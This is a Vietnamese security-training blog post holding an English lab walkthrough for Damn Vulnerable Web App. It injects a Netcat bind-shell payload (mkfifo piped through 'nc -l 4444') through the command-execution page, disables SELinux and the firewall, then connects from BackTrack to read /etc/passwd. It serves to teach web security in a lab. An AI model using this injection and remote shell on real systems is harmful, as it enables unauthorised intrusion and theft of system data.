Được tạo bởi Blogger.

Lưu trữ Blog

Home » , » Hướng Dẫn Thực Hành - Command Execution using Netcat (DVWA): Lesson 3

Hướng Dẫn Thực Hành - Command Execution using Netcat (DVWA): Lesson 3

Written By Unknown on Thứ Hai, 18 tháng 11, 2013 | 18:56



Section 0. Background Information
  • What is Damn Vulnerable Web App (DVWA)?
    • Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable.
    • Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.
  • Pre-Requisite Lab
    • Damn Vulnerable Web App (DVWA): Lesson 1: How to Install DVWA in Fedora 14
    • Damn Vulnerable Web App (DVWA): Lesson 2: Command Execution Basic Testing
  • Lab Notes
    • In this lab we will do the following:
      1. We will test Command Execution where Security is set to low
      2. We will append the Netcat command to an IP Address.
      3. Then we will start up Backtrack and connect to the Netcat session created inside of DVWA.
  • Legal Disclaimer
       - Chỉ dùng cho mục đích học tập.
Section 1. Configure Fedora14 Virtual Machine Settings
  1. Open Your VMware Player
    • Instructions:
      1. On Your Host Computer, Go To
      2. Start --> All Program --> VMWare --> VMWare Player
  2. Edit BackTrack Virtual Machine Settings
    • Instructions:
      1. Highlight fedora14
      2. Click Edit virtual machine settings
  3. Edit Network Adapter
    • Instructions:
      1. Highlight Network Adapter
      2. Select Bridged
      3. Click on the OK Button.

Section 2. Login to Fedora14
  1. Start Fedora14 VM Instance
    • Instructions:
      1. Start Up VMWare Player
      2. Select Fedora14
      3. Play virtual machine
  2. Login to Fedora14
    • Instructions:
      1. Login: student
      2. Password: <whatever you set it to>.

Section 3. Open Console Terminal and Retrieve IP Address
  1. Start a Terminal Console
    • Instructions:
      1. Applications --> Terminal
  2. Switch user to root
    • Instructions:
      1. su - root
      2. <Whatever you set the root password to>
  3. Get IP Address
    • Instructions:
      1. ifconfig -a
    • Notes:
      • As indicated below, my IP address is 192.168.1.106.
      • Please record your IP address.

Section 4. Temporarily Disable SELINUX and Firewall
  1. Start a Terminal Console
    • Instructions:
      1. sestatus
      2. If SELinux status: is set to disabled OR if Current mode: is set to permissive, then skip the next steps, and Continue to the Next Section.
      3. If SELinux status: is set to enabled AND if Current mode: is set to enforcing, then Continue the next steps.
    • Notes:
      • In my case, I need to temporarily put selinux in permissive mode to demonstrate basic attacks on DVWA.
  2. Place selinux in permissive mode
    • Instructions:
      1. echo 0 > /selinux/enforce
        • Placing a "0" in the enforce file, puts selinux in permissive mode.
      2. sestatus
        • Notice that "Current mode:" changed to permissive.
  3. Disable Firewall
    • Instructions:
      1. service iptables save
        • This is not really necessary, unless you have made recent changes to the firewall.
      2. service iptables stop
        • This command disables the firewall.

Section 5. Start Up Damn Vulnerable Web App (DVWA)
  1. Start up a Web Browser  
    • Instructions:
      1. Applications --> Internet --> Firefox
    • Notes:
      • You can open up a Web browser on any Operating System on your network.
      • Working with DVWA does not have to be done on your Fedora machine, the only requirement to play with DVWA is a follow
        1. The Fedora Server is on the Network.
        2. httpd is running
        3. mysqld is running
  2. DVWA Database setup  
    • Instructions:
      1. http://192.168.1.106/dvwa/login.php
        • Replace 192.168.1.106 with the IP Address obtained from Section 3, Step 3.
      2. Username: admin
      3. Password: password
        • "password" is the default password for user admin.
  3. Set Website Security Level (Part 1) 
    • Instructions:
      1. Click on DVWA Security
  4. Set Website Security Level (Part 2) 
    • Instructions:
      1. Select Low
      2. Click Submit

Section 6. Command Execution
  1. Command Execution  
    • Instructions:
      1. Click on Command Execution
  2. Execute Netcat  
    • Notes:
      • Below we are going to append NetCat to the basic ping test.  :)
    • Instructions:
      1. 192.168.1.106;mkfifo /tmp/pipe;sh /tmp/pipe | nc -l 4444 > /tmp/pipe
        • Make a FIFO named pipe.
        • Pipes allow separate processes to communicate without having been designed explicitly to work together.
        • This will allow two processes to connect to netcat.
        • nc -l 4444, tells netcat to listen and allow connections on port 4444.
      2. Click Submit

Section 7. Configure BackTrack Virtual Machine Settings
  1. Open Your VMware Player
    • Instructions:
      1. On Your Host Computer, Go To
      2. Start --> All Program --> VMWare --> VMWare Player
  2. Edit BackTrack Virtual Machine Settings
    • Instructions:
      1. Highlight BackTrack5R1
      2. Click Edit virtual machine settings
  3. Edit Network Adapter
    • Instructions:
      1. Highlight Network Adapter
      2. Select Bridged
      3. Do not Click on the OK Button.

Section 8. Login to BackTrack
  1. Start BackTrack VM Instance
    • Instructions:
      1. Start Up VMWare Player
      2. Select BackTrack5R1
      3. Play virtual machine
  2. Login to BackTrack
    • Instructions:
      1. Login: root
      2. Password: toor or <whatever you changed it to>.
  3. Bring up the GNOME
    • Instructions:
      1. Type startx

Section 9. Open Console Terminal and Retrieve IP Address
  1. Open a console terminal
    • Instructions:
      1. Click on the console terminal
  2. Get IP Address
    • Instructions:
      1. ifconfig -a
    • Notes:
      • As indicated below, my IP address is 192.168.1.105.
      • Please record your IP address.


Section 9. Use NetCat on BackTrack to Connect to DVWA's Netcat session
  1. Connect to Netcat
    • Notes:
      1. 192.168.1.106 is the IP Address of the Fedora Server running DVWA.
      2. To obtain this IP Address, see Section 3, Step 3.
    • Instructions:
      1. nc 192.168.1.106 4444
        • Use BackTrack to Connect to DVWA Netcat session on port 4444
      2. hostname
        • This is server hostname that hosts DVWA.
      3. uname -a
        • List System Kernel and Architecture Information
      4. who
        • Display who is logged into the Fedora Server.
      5. head -10 passwd
        • Show 10 lines of the /etc/passwd file

Section 10. Proof of Lab
  1. Proof of Lab
    • Instructions:
      1. date
      2. echo "Your Name"
        • Replace the string "Your Name" with your actual name.
        • e.g., echo "John Gray"
      3. netstat -naop | grep 4444
      4. Press the <Ctrl> and "c" keys
    • Proof of Lab Instructions:
      1. Do a <PrtScn>
      2. Paste into a word document
      3. Email to AnToanThongTin.Edu.Vn@Gmail.Com
Share this article :

0 nhận xét:

Đăng nhận xét

 
Đăng Kí Học Trực Tuyến : Chương Trình Đào Tạo Security365 | Ethical Haking | SiSSP
Copyright © 2013. an toan thong tin - All Rights Reserved
Web Master @ Nguyen Tran Tuong Vinh
Tech Support @ Bang Tran Ngoc